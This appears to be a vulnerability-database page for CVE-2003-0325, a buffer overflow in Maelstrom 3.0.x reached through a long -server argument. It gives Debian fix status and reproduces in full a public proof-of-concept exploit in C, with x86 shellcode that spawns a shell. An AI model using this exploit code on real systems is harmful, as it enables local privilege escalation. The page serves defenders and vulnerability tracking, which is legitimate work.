CVE-2003-0325
Description
Buffer overflow in Maelstrom 3.0.6, 3.0.5, and earlier allows local users to execute arbitrary code via a long -server command line argument.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Maelstrom Server 3.0.x - Argument Buffer Overflow (2)
// source: https://www.securityfocus.com/bid/7630/info
Maelstrom for Linux has been reported prone to a buffer overflow vulnerability.
The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space. It may be possible for a local attacker to exploit this condition and have malicious arbitrary code executed in the context of the Maelstrom application. Typically setGID games.
/* /usr/bin/Maelstrom local exploit
*** Sorry for my poor english.
*** Others exploit can't exploit my Maelstrom,So I
wrote this exploit just for fun.
*** I can't get a rootshell on my linux ,because it's
not SUID.
*** If it SUID ,this exploit can make you get a rootshell.
*** Tested on redhat9.0 ,other linux maybe OK,too.
***
*** Thanks netric's good paper.
*** You can downlocd it here
http://www.netric.org/papers/envpaper.pdf
*** This paper make me write this exploit don't need to
guess ret.
*** Thanks jsk and axis for their help.
***
*** CONTACT:OYXin@ph4nt0m.net
*** COPYRIGHT (c) 2003 PH4NT0M SECURITY
*** http://www.ph4nt0m.net
*** 2003.5.23
Coded by OYXin(ph4nt0m)
Welcome to http://www.ph4nt0m.net
*/
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define bufsize 8179
/* linux x86 shellcode by bob from dtors.net,23
bytes,thx them. */
static char shellcode[] =
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";
int main(int argc,char *argv[]){
char buf[bufsize+1];
char*prog[]={"/usr/bin/Maelstrom","-server",buf,NULL};
char *env[]={"HOME=/root",shellcode,NULL};
unsigned long ret;
ret=0xc0000000-sizeof(void*)-strlen(prog[0])-strlen(shellcode)-0x02;
memset(buf, 0x90, bufsize);
memset(buf,0x32,sizeof("1"));
memset(buf+1,0x40,sizeof("1"));
memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(2*sizeof(ret))], &ret,sizeof(ret));
memcpy(&buf[bufsize-(3*sizeof(ret))], &ret,sizeof(ret));
memcpy(&buf[bufsize-(4*sizeof(ret))], &ret,sizeof(ret));
buf[bufsize] = '\0';
execve(prog[0],prog,env);
return 0;
}
Maelstrom Server 3.0.x - Argument Buffer Overflow (3)
Maelstrom Server 3.0.x - Argument Buffer Overflow (1)
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0 |
| sid | Fixed | 0 |
| forky | Fixed | 0 |
| bullseye | Fixed | 0 |
| bookworm | Fixed | 0 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.